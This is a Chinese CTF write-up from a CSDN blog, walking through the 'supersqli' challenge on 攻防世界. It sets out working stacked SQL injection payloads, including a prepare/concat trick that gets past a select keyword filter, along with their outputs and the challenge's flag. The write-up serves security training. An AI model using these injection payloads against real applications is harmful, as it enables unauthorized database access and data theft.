攻防世界-Web-supersqli

原创

uh3ng 于 2020-08-14 22:10:12 发布 218 收藏

分类专栏： WriteUp 文章标签： 安全

本文链接：https://blog.csdn.net/qq_39091609/article/details/108014037

本题涉及到了堆叠注入、MySQL预编译

0x01

SQL注入的题目，按照流程来验证SQL注入漏洞。

首先输入`1' and '1'='1`发现正常输出，然后输入`1' and '1'='2`发现没有输出，进一步尝试联合注入，输入`1' union select 1 #`结果返回了

```
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
```

可见后端过滤掉了一些SQL关键字，显然不能直接通过这些关键字进行注入。

0x02

尝试使用堆叠注入，构造：`1';show databases;#`，执行成功了，返回如图：

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

---------------------------------------------------------------

array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}
```


但是现在似乎不能验证当前数据库是哪个，不过也不影响我们通过`show tables`命令来列出当前数据库的表。（通过`show tables from XX`可以验证现在使用的是supersqli）

0x03

提交`1';show tables;#`，获取到所有表：

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

--------------------------------------------------------------------------------

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

--------------------------------------------------------------------------------
```


里面有两个表：words和1919810931114514

0x04

提交`1';show columns from words;#`列出words表中的字段：

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

--------------------------------------------------------------------------------

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
```

```
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```


提交`1';show columns from `1919810931114514`;#`注意反引号

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

发现flag字段

0x05

接下来使用MySQL的预编译来执行对1919810931114514的查询，具体构造方法如下：

`1';prepare pre from concat('s', 'elect * from `1919810931114514`');execute pre;#`

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(1) {
  [0]=>
  string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}
```
